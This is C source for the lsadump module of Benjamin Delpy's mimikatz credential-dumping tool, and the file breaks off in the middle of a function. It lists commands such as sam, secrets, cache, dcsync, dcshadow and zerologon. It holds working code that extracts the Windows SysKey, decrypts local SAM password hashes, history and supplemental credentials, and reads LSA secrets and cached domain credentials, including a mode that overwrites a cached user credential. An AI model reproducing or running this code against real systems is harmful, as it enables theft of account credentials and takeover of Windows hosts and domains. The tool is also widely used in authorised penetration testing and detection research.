/*	Benjamin DELPY `gentilkiwi`
	https://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kuhl_m_lsadump.h"

const KUHL_M_C kuhl_m_c_lsadump[] = {
	{kuhl_m_lsadump_sam,		L"sam",			L"Get the SysKey to decrypt SAM entries (from registry or hives)"},
	{kuhl_m_lsadump_secrets,	L"secrets",		L"Get the SysKey to decrypt SECRETS entries (from registry or hives)"},
	{kuhl_m_lsadump_cache,		L"cache",		L"Get the SysKey to decrypt NL$KM then MSCache(v2) (from registry or hives)"},
	{kuhl_m_lsadump_lsa,		L"lsa",			L"Ask LSA Server to retrieve SAM/AD entries (normal, patch on the fly or inject)"},
	{kuhl_m_lsadump_trust,		L"trust",		L"Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly)"},
	{kuhl_m_lsadump_bkey,		L"backupkeys",	NULL},
	{kuhl_m_lsadump_rpdata,		L"rpdata",		NULL},
	{kuhl_m_lsadump_dcsync,		L"dcsync",		L"Ask a DC to synchronize an object"},
	{kuhl_m_lsadump_dcshadow,	L"dcshadow",	L"They told me I could be anything I wanted, so I became a domain controller"},
	{kuhl_m_lsadump_setntlm,	L"setntlm",		L"Ask a server to set a new password/ntlm for one user"},
	{kuhl_m_lsadump_changentlm,	L"changentlm",	L"Ask a server to set a new password/ntlm for one user"},
	{kuhl_m_lsadump_netsync,	L"netsync",		L"Ask a DC to send current and previous NTLM hash of DC/SRV/WKS"},
	{kuhl_m_lsadump_packages,	L"packages",	NULL},
	{kuhl_m_lsadump_mbc,		L"mbc",			NULL},
	{kuhl_m_lsadump_zerologon,	L"zerologon",	NULL},
	{kuhl_m_lsadump_update_dc_password, L"postzerologon",	NULL},
};

const KUHL_M kuhl_m_lsadump = {
	L"lsadump", L"LsaDump module", NULL,
	ARRAYSIZE(kuhl_m_c_lsadump), kuhl_m_c_lsadump, NULL, NULL
};

NTSTATUS kuhl_m_lsadump_sam(int argc, wchar_t * argv[])
{
	HANDLE hDataSystem, hDataSam;
	PKULL_M_REGISTRY_HANDLE hRegistry, hRegistry2;
	HKEY hSystem, hSam;
	BYTE sysKey[SYSKEY_LENGTH];
	LPCWSTR szSystem = NULL, szSam = NULL;

	if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL))
	{
		hDataSystem = CreateFile(szSystem, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
		if(hDataSystem != INVALID_HANDLE_VALUE)
		{
			if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSystem, FALSE, &hRegistry))
			{
				if(kuhl_m_lsadump_getComputerAndSyskey(hRegistry, NULL, sysKey))
				{
					if(kull_m_string_args_byName(argc, argv, L"sam", &szSam, NULL))
					{
						hDataSam = CreateFile(szSam, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
						if(hDataSam != INVALID_HANDLE_VALUE)
						{
							if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSam, FALSE, &hRegistry2))
							{
								kuhl_m_lsadump_getUsersAndSamKey(hRegistry2, NULL, sysKey);
								kull_m_registry_close(hRegistry2);
							}
							CloseHandle(hDataSam);
						}
						else PRINT_ERROR_AUTO(L"CreateFile (SAM hive)");
					}
				}
				kull_m_registry_close(hRegistry);
			}
			CloseHandle(hDataSystem);
		}
		else PRINT_ERROR_AUTO(L"CreateFile (SYSTEM hive)");
	}
	else
	{
		if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_OWN, NULL, FALSE, &hRegistry))
		{
			if(kull_m_registry_RegOpenKeyEx(hRegistry, HKEY_LOCAL_MACHINE, L"SYSTEM", 0, KEY_READ, &hSystem))
			{
				if(kuhl_m_lsadump_getComputerAndSyskey(hRegistry, hSystem, sysKey))
				{
					if(kull_m_registry_RegOpenKeyEx(hRegistry, HKEY_LOCAL_MACHINE, L"SAM", 0, KEY_READ, &hSam))
					{
						kuhl_m_lsadump_getUsersAndSamKey(hRegistry, hSam, sysKey);
						kull_m_registry_RegCloseKey(hRegistry, hSam);
					}
					else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx (SAM)");
				}
				kull_m_registry_RegCloseKey(hRegistry, hSystem);
			}
			kull_m_registry_close(hRegistry);
		}
	}
	return STATUS_SUCCESS;
}

NTSTATUS kuhl_m_lsadump_secrets(int argc, wchar_t * argv[])
{
	return kuhl_m_lsadump_secretsOrCache(argc, argv, TRUE);
}

NTSTATUS kuhl_m_lsadump_cache(int argc, wchar_t * argv[])
{
	return kuhl_m_lsadump_secretsOrCache(argc, argv, FALSE);
}

NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsOrCache)
{
	HANDLE hDataSystem, hDataSecurity;
	PKULL_M_REGISTRY_HANDLE hSystem, hSecurity;
	HKEY hSystemBase, hSecurityBase;
	BYTE sysKey[SYSKEY_LENGTH];
	LPCWSTR szSystem = NULL, szSecurity = NULL, szHash, szPassword, szSubject;
	UNICODE_STRING uPassword;
	KUHL_LSADUMP_DCC_CACHE_DATA cacheData = {0};

	HCERTSTORE hCertStore = NULL;
	PCCERT_CONTEXT pCertCtx;
	BOOL toFree;

	if(!secretsOrCache)
	{
		if(kull_m_string_args_byName(argc, argv, L"user", &cacheData.username, NULL))
		{
			kprintf(L"> User cache replace mode !\n");
			kprintf(L"  * user     : %s\n", cacheData.username);
			
			if(kull_m_string_args_byName(argc, argv, L"dcc", &szHash, NULL))
			{
				if(cacheData.isDCC = kull_m_string_stringToHex(szHash, cacheData.dcc, LM_NTLM_HASH_LENGTH))
				{
					kprintf(L"  * dccX     : ");
					kull_m_string_wprintf_hex(cacheData.dcc, LM_NTLM_HASH_LENGTH, 0);
					kprintf(L"\n");
				}
				else PRINT_ERROR(L"DCC hash length must be 32 (16 bytes) - will use default password...\n");
			}
			else
			{
				if(kull_m_string_args_byName(argc, argv, L"ntlm", &szHash, NULL))
				{
					cacheData.isNtlm = kull_m_string_stringToHex(szHash, cacheData.ntlm, LM_NTLM_HASH_LENGTH);
					if(!cacheData.isNtlm)
						PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes) - will use default password...\n");
				}
				if(!cacheData.isNtlm)
				{
					kull_m_string_args_byName(argc, argv, L"password", &szPassword, MIMIKATZ);
					kprintf(L"  * password : %s\n", szPassword);
					RtlInitUnicodeString(&uPassword, szPassword);
					cacheData.isNtlm = NT_SUCCESS(RtlCalculateNtOwfPassword(&uPassword, cacheData.ntlm));
				}
				if(cacheData.isNtlm)
				{
					kprintf(L"  * ntlm     : ");
					kull_m_string_wprintf_hex(cacheData.ntlm, LM_NTLM_HASH_LENGTH, 0);
					kprintf(L"\n");
				}
				else cacheData.username = NULL;
			}
			kprintf(L"\n");
		}
		else if(kull_m_string_args_byName(argc, argv, L"subject", &szSubject, NULL))
		{
			if(hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, (HCRYPTPROV_LEGACY) NULL, CERT_SYSTEM_STORE_CURRENT_USER | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"My"))
			{
				if(pCertCtx = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, szSubject, NULL))
				{
					if(CryptAcquireCertificatePrivateKey(pCertCtx, 0, NULL, &cacheData.hProv, &cacheData.keySpec, &toFree))
					{
						if(cacheData.keySpec == CERT_NCRYPT_KEY_SPEC)
						{
							PRINT_ERROR(L"CNG not supported yet\n");
							__try
							{
								if(toFree)
									NCryptFreeObject(cacheData.hProv);
							}
							__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND)
							{
								PRINT_ERROR(L"keySpec == CERT_NCRYPT_KEY_SPEC without CNG Handle ?\n");
							}
							cacheData.hProv = 0;
						}
					}
					CertFreeCertificateContext(pCertCtx);
				}
				else PRINT_ERROR_AUTO(L"CertFindCertificateInStore");
				CertCloseStore(hCertStore, CERT_CLOSE_STORE_FORCE_FLAG);
			}
			else PRINT_ERROR_AUTO(L"CertOpenStore");
		}
	}
	
	if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL))
	{
		hDataSystem = CreateFile(szSystem, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
		if(hDataSystem != INVALID_HANDLE_VALUE)
		{
			if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSystem, FALSE, &hSystem))
			{
				if(kuhl_m_lsadump_getComputerAndSyskey(hSystem, NULL, sysKey))
				{
					if(kull_m_string_args_byName(argc, argv, L"security", &szSecurity, NULL))
					{
						hDataSecurity = CreateFile(szSecurity, GENERIC_READ | (cacheData.username ? GENERIC_WRITE : 0), 0, NULL, OPEN_EXISTING, 0, NULL);
						if(hDataSecurity != INVALID_HANDLE_VALUE)
						{
							if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSecurity, cacheData.username ? TRUE : FALSE, &hSecurity))
							{
								kuhl_m_lsadump_getLsaKeyAndSecrets(hSecurity, NULL, hSystem, NULL, sysKey, secretsOrCache, &cacheData);
								kull_m_registry_close(hSecurity);
							}
							CloseHandle(hDataSecurity);
						} else PRINT_ERROR_AUTO(L"CreateFile (SECURITY hive)");
					}
				}
				kull_m_registry_close(hSystem);
			}
			CloseHandle(hDataSystem);
		} else PRINT_ERROR_AUTO(L"CreateFile (SYSTEM hive)");
	}
	else
	{
		if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_OWN, NULL, FALSE, &hSystem))
		{
			if(kull_m_registry_RegOpenKeyEx(hSystem, HKEY_LOCAL_MACHINE, L"SYSTEM", 0, KEY_READ, &hSystemBase))
			{
				if(kuhl_m_lsadump_getComputerAndSyskey(hSystem, hSystemBase, sysKey))
				{
					if(kull_m_registry_RegOpenKeyEx(hSystem, HKEY_LOCAL_MACHINE, L"SECURITY", 0, KEY_READ, &hSecurityBase))
					{
						kuhl_m_lsadump_getLsaKeyAndSecrets(hSystem, hSecurityBase, hSystem, hSystemBase, sysKey, secretsOrCache, &cacheData);
						kull_m_registry_RegCloseKey(hSystem, hSecurityBase);
					}
					else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx (SECURITY)");
				}
				kull_m_registry_RegCloseKey(hSystem, hSystemBase);
			}
			kull_m_registry_close(hSystem);
		}
	}
	if(cacheData.hProv && toFree)
		CryptReleaseContext(cacheData.hProv, 0);
	return STATUS_SUCCESS;
}

const wchar_t * kuhl_m_lsadump_CONTROLSET_SOURCES[] = {L"Current", L"Default"};
BOOL kuhl_m_lsadump_getCurrentControlSet(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hSystemBase, PHKEY phCurrentControlSet)
{
	BOOL status = FALSE;
	HKEY hSelect;
	DWORD i, szNeeded, controlSet;

	wchar_t currentControlSet[] = L"ControlSet000";

	if(kull_m_registry_RegOpenKeyEx(hRegistry, hSystemBase, L"Select", 0, KEY_READ, &hSelect))
	{
		for(i = 0; !status && (i < ARRAYSIZE(kuhl_m_lsadump_CONTROLSET_SOURCES)); i++)
		{
			szNeeded = sizeof(DWORD); 
			status = kull_m_registry_RegQueryValueEx(hRegistry, hSelect, kuhl_m_lsadump_CONTROLSET_SOURCES[i], NULL, NULL, (LPBYTE) &controlSet, &szNeeded);
		}

		if(status)
		{
			status = FALSE;
			if(swprintf_s(currentControlSet + 10, 4, L"%03u", controlSet) != -1)
				status = kull_m_registry_RegOpenKeyEx(hRegistry, hSystemBase, currentControlSet, 0, KEY_READ, phCurrentControlSet);
		}
		kull_m_registry_RegCloseKey(hRegistry, hSelect);
	}
	return status;
}

const wchar_t * kuhl_m_lsadump_SYSKEY_NAMES[] = {L"JD", L"Skew1", L"GBG", L"Data"};
const BYTE kuhl_m_lsadump_SYSKEY_PERMUT[] = {11, 6, 7, 1, 8, 10, 14, 0, 3, 5, 2, 15, 13, 9, 12, 4};
BOOL kuhl_m_lsadump_getSyskey(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hLSA, LPBYTE sysKey)
{
	BOOL status = TRUE;
	DWORD i;
	HKEY hKey;
	wchar_t buffer[8 + 1];
	DWORD szBuffer;
	BYTE buffKey[SYSKEY_LENGTH];

	for(i = 0 ; (i < ARRAYSIZE(kuhl_m_lsadump_SYSKEY_NAMES)) && status; i++)
	{
		status = FALSE;
		if(kull_m_registry_RegOpenKeyEx(hRegistry, hLSA, kuhl_m_lsadump_SYSKEY_NAMES[i], 0, KEY_READ, &hKey))
		{
			szBuffer = 8 + 1;
			if(kull_m_registry_RegQueryInfoKey(hRegistry, hKey, buffer, &szBuffer, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL))
				status = swscanf_s(buffer, L"%x", (DWORD *) &buffKey[i*sizeof(DWORD)]) != -1;
			kull_m_registry_RegCloseKey(hRegistry, hKey);
		}
		else PRINT_ERROR(L"LSA Key Class read error\n");
	}
	
	if(status)
		for(i = 0; i < SYSKEY_LENGTH; i++)
			sysKey[i] = buffKey[kuhl_m_lsadump_SYSKEY_PERMUT[i]];	

	return status;
}

BOOL kuhl_m_lsadump_getComputerAndSyskey(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSystemBase, OUT LPBYTE sysKey)
{
	BOOL status = FALSE;
	PVOID computerName;
	HKEY hCurrentControlSet, hComputerNameOrLSA;

	if(kuhl_m_lsadump_getCurrentControlSet(hRegistry, hSystemBase, &hCurrentControlSet))
	{
		kprintf(L"Domain : ");
		if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hCurrentControlSet, L"Control\\ComputerName\\ComputerName", L"ComputerName", NULL, &computerName, NULL))
		{
			kprintf(L"%s\n", computerName);
			LocalFree(computerName);
		}

		kprintf(L"SysKey : ");
		if(kull_m_registry_RegOpenKeyEx(hRegistry, hCurrentControlSet, L"Control\\LSA", 0, KEY_READ, &hComputerNameOrLSA))
		{
			if(status = kuhl_m_lsadump_getSyskey(hRegistry, hComputerNameOrLSA, sysKey))
			{
				kull_m_string_wprintf_hex(sysKey, SYSKEY_LENGTH, 0);
				kprintf(L"\n");
			}
			else PRINT_ERROR(L"kuhl_m_lsadump_getSyskey KO\n");
			kull_m_registry_RegCloseKey(hRegistry, hComputerNameOrLSA);
		}
		else PRINT_ERROR(L"kull_m_registry_RegOpenKeyEx LSA KO\n");

		kull_m_registry_RegCloseKey(hRegistry, hCurrentControlSet);
	}
	return status;
}

BOOL kuhl_m_lsadump_getUsersAndSamKey(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSAMBase, IN LPCBYTE sysKey)
{
	BOOL status = FALSE;
	BYTE samKey[SAM_KEY_DATA_KEY_LENGTH];
	wchar_t * user;
	HKEY hAccount, hUsers, hUser;
	DWORD i, nbSubKeys, szMaxSubKeyLen, szUser, rid;
	PUSER_ACCOUNT_V pUAv;
	LPVOID data;

	if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hSAMBase, L"SAM\\Domains\\Account", L"V", NULL, &data, &szUser))
	{
		kprintf(L"Local SID : ");
		kull_m_string_displaySID((PBYTE) data + szUser - (sizeof(SID) + sizeof(DWORD) * 3));
		kprintf(L"\n");
		LocalFree(data);
	}

	if(kull_m_registry_RegOpenKeyEx(hRegistry, hSAMBase, L"SAM\\Domains\\Account", 0, KEY_READ, &hAccount))
	{
		if(kuhl_m_lsadump_getSamKey(hRegistry, hAccount, sysKey, samKey))
		{
			if(kull_m_registry_RegOpenKeyEx(hRegistry, hAccount, L"Users", 0, KEY_READ, &hUsers))
			{
				if(status = kull_m_registry_RegQueryInfoKey(hRegistry, hUsers, NULL, NULL, NULL, &nbSubKeys, &szMaxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL))
				{
					szMaxSubKeyLen++;
					if(user = (wchar_t *) LocalAlloc(LPTR, (szMaxSubKeyLen + 1) * sizeof(wchar_t)))
					{
						for(i = 0; i < nbSubKeys; i++)
						{
							szUser = szMaxSubKeyLen;
							if(kull_m_registry_RegEnumKeyEx(hRegistry, hUsers, i, user, &szUser, NULL, NULL, NULL, NULL))
							{
								if(_wcsicmp(user, L"Names"))
								{
									if(swscanf_s(user, L"%x", &rid) != -1)
									{
										kprintf(L"\nRID  : %08x (%u)\n", rid, rid);
										if(status &= kull_m_registry_RegOpenKeyEx(hRegistry, hUsers, user, 0, KEY_READ, &hUser))
										{
											if(status &= kull_m_registry_QueryWithAlloc(hRegistry, hUser, L"V", NULL, (LPVOID *) &pUAv, NULL))
											{
												kprintf(L"User : %.*s\n", pUAv->Username.lenght / sizeof(wchar_t), (wchar_t *) (pUAv->datas + pUAv->Username.offset));
												kuhl_m_lsadump_getHash(&pUAv->LMHash, pUAv->datas, samKey, rid, FALSE, FALSE);
												kuhl_m_lsadump_getHash(&pUAv->NTLMHash, pUAv->datas, samKey, rid, TRUE, FALSE);
												kuhl_m_lsadump_getHash(&pUAv->LMHistory, pUAv->datas, samKey, rid, FALSE, TRUE);
												kuhl_m_lsadump_getHash(&pUAv->NTLMHistory, pUAv->datas, samKey, rid, TRUE, TRUE);
												LocalFree(pUAv);
											}
											kuhl_m_lsadump_getSupplementalCreds(hRegistry, hUser, samKey);
											kull_m_registry_RegCloseKey(hRegistry, hUser);
										}
										else PRINT_ERROR(L"kull_m_registry_RegOpenKeyEx user (%s)\n", user);
									}
								}
							}
						}
						LocalFree(user);
					}
				}
				kull_m_registry_RegCloseKey(hRegistry, hUsers);
			}
		}
		else PRINT_ERROR(L"kuhl_m_lsadump_getSamKey KO\n");
		kull_m_registry_RegCloseKey(hRegistry, hAccount);
	}
	else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx SAM Accounts");

	return status;
}

const BYTE	kuhl_m_lsadump_NTPASSWORD[] = "NTPASSWORD",
			kuhl_m_lsadump_LMPASSWORD[] = "LMPASSWORD",
			kuhl_m_lsadump_NTPASSWORDHISTORY[] = "NTPASSWORDHISTORY",
			kuhl_m_lsadump_LMPASSWORDHISTORY[] = "LMPASSWORDHISTORY";
BOOL kuhl_m_lsadump_getHash(PSAM_SENTRY pSamHash, LPCBYTE pStartOfData, LPCBYTE samKey, DWORD rid, BOOL isNtlm, BOOL isHistory)
{
	BOOL status = FALSE;
	MD5_CTX md5ctx;
	PSAM_HASH pHash = (PSAM_HASH) (pStartOfData + pSamHash->offset);
	PSAM_HASH_AES pHashAes;
	DATA_KEY keyBuffer = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, md5ctx.digest};
	CRYPT_BUFFER cypheredHashBuffer = {0, 0, NULL};
	PVOID out;
	DWORD len;

	if(pSamHash->offset && pSamHash->lenght)
	{
		switch(pHash->Revision)
		{
		case 1:
			if(pSamHash->lenght >= sizeof(SAM_HASH))
			{
				MD5Init(&md5ctx);
				MD5Update(&md5ctx, samKey, SAM_KEY_DATA_KEY_LENGTH);
				MD5Update(&md5ctx, &rid, sizeof(DWORD));
				MD5Update(&md5ctx, isNtlm ? (isHistory ? kuhl_m_lsadump_NTPASSWORDHISTORY : kuhl_m_lsadump_NTPASSWORD) : (isHistory ? kuhl_m_lsadump_LMPASSWORDHISTORY : kuhl_m_lsadump_LMPASSWORD), isNtlm ? (isHistory ? sizeof(kuhl_m_lsadump_NTPASSWORDHISTORY) : sizeof(kuhl_m_lsadump_NTPASSWORD)) : (isHistory ? sizeof(kuhl_m_lsadump_LMPASSWORDHISTORY) : sizeof(kuhl_m_lsadump_LMPASSWORD)));
				MD5Final(&md5ctx);
				cypheredHashBuffer.Length = cypheredHashBuffer.MaximumLength = pSamHash->lenght - FIELD_OFFSET(SAM_HASH, data);
				if(cypheredHashBuffer.Buffer = (PBYTE) LocalAlloc(LPTR, cypheredHashBuffer.Length))
				{
					RtlCopyMemory(cypheredHashBuffer.Buffer, pHash->data, cypheredHashBuffer.Length);
					if(!(status = NT_SUCCESS(RtlDecryptData2(&cypheredHashBuffer, &keyBuffer))))
						PRINT_ERROR(L"RtlDecryptData2\n");
				}
			}
			break;
		case 2:
			pHashAes = (PSAM_HASH_AES) pHash;
			if(pHashAes->dataOffset >= SAM_KEY_DATA_SALT_LENGTH)
			{
				if(kull_m_crypto_genericAES128Decrypt(samKey, pHashAes->Salt, pHashAes->data, pSamHash->lenght - FIELD_OFFSET(SAM_HASH_AES, data), &out, &len))
				{
					cypheredHashBuffer.Length = cypheredHashBuffer.MaximumLength = len;
					if(cypheredHashBuffer.Buffer = (PBYTE) LocalAlloc(LPTR, cypheredHashBuffer.Length))
					{
						RtlCopyMemory(cypheredHashBuffer.Buffer, out, len);
						status = TRUE;
					}
					LocalFree(out);
				}
			}
			break;
		default:
			PRINT_ERROR(L"Unknow SAM_HASH revision (%hu)\n", pHash->Revision);
		}
		if(status)
			kuhl_m_lsadump_dcsync_decrypt(cypheredHashBuffer.Buffer, cypheredHashBuffer.Length, rid, isNtlm ? (isHistory ? L"ntlm" : L"NTLM" ) : (isHistory ? L"lm  " : L"LM  "), isHistory);
		if(cypheredHashBuffer.Buffer)
			LocalFree(cypheredHashBuffer.Buffer);
	}
	return status;
}

BOOL kuhl_m_lsadump_getSupplementalCreds(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hUser, IN const BYTE samKey[SAM_KEY_DATA_KEY_LENGTH])
{
	BOOL status = FALSE;
	PKIWI_ENCRYPTED_SUPPLEMENTAL_CREDENTIALS pEncCreds;
	DWORD szNeeded = 0;
	PUSER_PROPERTIES properties;
	LPVOID data;

	if(kull_m_registry_RegQueryValueEx(hRegistry, hUser, L"SupplementalCredentials", NULL, NULL, NULL, &szNeeded))
	{
		if(szNeeded > (FIELD_OFFSET(KIWI_ENCRYPTED_SUPPLEMENTAL_CREDENTIALS, encrypted) + AES_BLOCK_SIZE + 96)) //header + block + padding in Reserved4
		{
			if(pEncCreds = (PKIWI_ENCRYPTED_SUPPLEMENTAL_CREDENTIALS) LocalAlloc(LPTR, szNeeded))
			{
				if(kull_m_registry_RegQueryValueEx(hRegistry, hUser, L"SupplementalCredentials", NULL, NULL, (LPBYTE) pEncCreds, &szNeeded))
				{
					kprintf(L"\nSupplemental Credentials:\n");
					if(properties = (PUSER_PROPERTIES) LocalAlloc(LPTR, FIELD_OFFSET(USER_PROPERTIES, Reserved4) + pEncCreds->originalSize))
					{
						if(kull_m_crypto_genericAES128Decrypt(samKey, pEncCreds->iv, pEncCreds->encrypted, szNeeded - FIELD_OFFSET(KIWI_ENCRYPTED_SUPPLEMENTAL_CREDENTIALS, encrypted), &data, &properties->Length))
						{
							if(properties->Length == pEncCreds->originalSize)
							{
								status = TRUE;
								RtlCopyMemory(properties->Reserved4, data, properties->Length);
								kuhl_m_lsadump_dcsync_descrUserProperties(properties);
							}
							LocalFree(data);
						}
						LocalFree(properties);
					}
				}
				else PRINT_ERROR(L"kull_m_registry_RegQueryValueEx(data)\n");
				LocalFree(pEncCreds);	
			}
		}
	}
	return status;
}

const BYTE kuhl_m_lsadump_qwertyuiopazxc[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
const BYTE kuhl_m_lsadump_01234567890123[] = "0123456789012345678901234567890123456789";
BOOL kuhl_m_lsadump_getSamKey(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hAccount, LPCBYTE sysKey, LPBYTE samKey)
{
	BOOL status = FALSE;
	PDOMAIN_ACCOUNT_F pDomAccF;
	MD5_CTX md5ctx;
	DATA_KEY key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, md5ctx.digest};
	CRYPT_BUFFER data = {SAM_KEY_DATA_KEY_LENGTH, SAM_KEY_DATA_KEY_LENGTH, samKey};
	PSAM_KEY_DATA_AES pAesKey;
	PVOID out;
	DWORD len;

	kprintf(L"\nSAMKey : ");
	if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hAccount, NULL, L"F", NULL, (LPVOID *) &pDomAccF, NULL))
	{
		switch(pDomAccF->Revision)
		{
		case 2:
		case 3:
			switch(pDomAccF->keys1.Revision)
			{
			case 1:
				MD5Init(&md5ctx);
				MD5Update(&md5ctx, pDomAccF->keys1.Salt, SAM_KEY_DATA_SALT_LENGTH);
				MD5Update(&md5ctx, kuhl_m_lsadump_qwertyuiopazxc, sizeof(kuhl_m_lsadump_qwertyuiopazxc));
				MD5Update(&md5ctx, sysKey, SYSKEY_LENGTH);
				MD5Update(&md5ctx, kuhl_m_lsadump_01234567890123, sizeof(kuhl_m_lsadump_01234567890123));
				MD5Final(&md5ctx);
				RtlCopyMemory(samKey, pDomAccF->keys1.Key, SAM_KEY_DATA_KEY_LENGTH);
				if(!(status = NT_SUCCESS(RtlDecryptData2(&data, &key))))
					PRINT_ERROR(L"RtlDecryptData2 KO");
				break;
			case 2:
				pAesKey = (PSAM_KEY_DATA_AES) &pDomAccF->keys1;
				if(kull_m_crypto_genericAES128Decrypt(sysKey, pAesKey->Salt, pAesKey->data, pAesKey->DataLen, &out, &len))
				{
					if(status = (len == SAM_KEY_DATA_KEY_LENGTH))
						RtlCopyMemory(samKey, out, SAM_KEY_DATA_KEY_LENGTH);
					LocalFree(out);
				}
				break;
			default:
				PRINT_ERROR(L"Unknow Struct Key revision (%u)", pDomAccF->keys1.Revision);
			}
			break;
		default:
			PRINT_ERROR(L"Unknow F revision (%hu)", pDomAccF->Revision);
		}
		LocalFree(pDomAccF);
	}
	else PRINT_ERROR(L"kull_m_registry_OpenAndQueryWithAlloc KO");

	if(status)
		kull_m_string_wprintf_hex(samKey, LM_NTLM_HASH_LENGTH, 0);

	kprintf(L"\n");
	return status;
}

BOOL kuhl_m_lsadump_getSids(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN LPCWSTR littleKey, IN LPCWSTR prefix)
{
	BOOL status = FALSE;
	wchar_t name[] = L"Pol__DmN", sid[] = L"Pol__DmS";
	PVOID buffer;
	LSA_UNICODE_STRING uString = {0, 0, NULL};

	RtlCopyMemory(&name[3], littleKey, 2*sizeof(wchar_t));
	RtlCopyMemory(&sid[3], littleKey, 2*sizeof(wchar_t));
	kprintf(L"%s name : ", prefix);
	if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicyBase, name, NULL, NULL, &buffer, NULL))
	{
		uString.Length = ((PUSHORT) buffer)[0];
		uString.MaximumLength = ((PUSHORT) buffer)[1];
		uString.Buffer = (PWSTR) ((PBYTE) buffer + *(PDWORD) ((PBYTE) buffer + 2*sizeof(USHORT)));
		kprintf(L"%wZ", &uString);
		LocalFree(buffer);
	}
	if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicyBase, sid, NULL, NULL, &buffer, NULL))
	{
		kprintf(L" ( ");
		kull_m_string_displaySID((PSID) buffer);
		kprintf(L" )");
		LocalFree(buffer);
	}
	kprintf(L"\n");
	return status;
}

BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecurityBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN LPBYTE sysKey, IN BOOL secretsOrCache, IN PKUHL_LSADUMP_DCC_CACHE_DATA pCacheData)
{
	BOOL status = FALSE;
	HKEY hPolicy;
	PPOL_REVISION pPolRevision;
	DWORD szNeeded, i, offset;
	LPVOID buffer;
	MD5_CTX md5ctx;
	DATA_KEY key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, md5ctx.digest};
	CRYPT_BUFFER data = {3 * sizeof(NT5_SYSTEM_KEY), 3 * sizeof(NT5_SYSTEM_KEY), NULL};
	PNT6_SYSTEM_KEYS nt6keysStream = NULL;
	PNT6_SYSTEM_KEY nt6key;
	PNT5_SYSTEM_KEY nt5key = NULL;
	LSA_UNICODE_STRING uString = {0, 0, NULL};

	if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecurityBase, L"Policy", 0, KEY_READ, &hPolicy))
	{
		kprintf(L"\n");
		kuhl_m_lsadump_getSids(hSecurity, hPolicy, L"Ac", L"Local");
		kuhl_m_lsadump_getSids(hSecurity, hPolicy, L"Pr", L"Domain");

		if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicy, L"PolDnDDN", NULL, NULL, &buffer, NULL))
		{
			uString.Length = ((PUSHORT) buffer)[0];
			uString.MaximumLength = ((PUSHORT) buffer)[1];
			uString.Buffer = (PWSTR) ((PBYTE) buffer + *(PDWORD) ((PBYTE) buffer + 2*sizeof(USHORT)));
			kprintf(L"Domain FQDN : %wZ\n", &uString);
			LocalFree(buffer);
		}

		if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicy, L"PolRevision", NULL, NULL, (LPVOID *) &pPolRevision, NULL))
		{
			kprintf(L"\nPolicy subsystem is : %hu.%hu\n", pPolRevision->Major, pPolRevision->Minor);
			if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicy, (pPolRevision->Minor > 9) ? L"PolEKList" : L"PolSecretEncryptionKey", NULL, NULL, &buffer, &szNeeded))
			{
				if(pPolRevision->Minor > 9) // NT 6
				{
					if(kuhl_m_lsadump_sec_aes256((PNT6_HARD_SECRET) buffer, szNeeded, NULL, sysKey))
					{
						if(nt6keysStream = (PNT6_SYSTEM_KEYS) LocalAlloc(LPTR, ((PNT6_HARD_SECRET) buffer)->clearSecret.SecretSize))
						{
							RtlCopyMemory(nt6keysStream, ((PNT6_HARD_SECRET) buffer)->clearSecret.Secret, ((PNT6_HARD_SECRET) buffer)->clearSecret.SecretSize);
							kprintf(L"LSA Key(s) : %u, default ", nt6keysStream->nbKeys); kull_m_string_displayGUID(&nt6keysStream->CurrentKeyID); kprintf(L"\n");
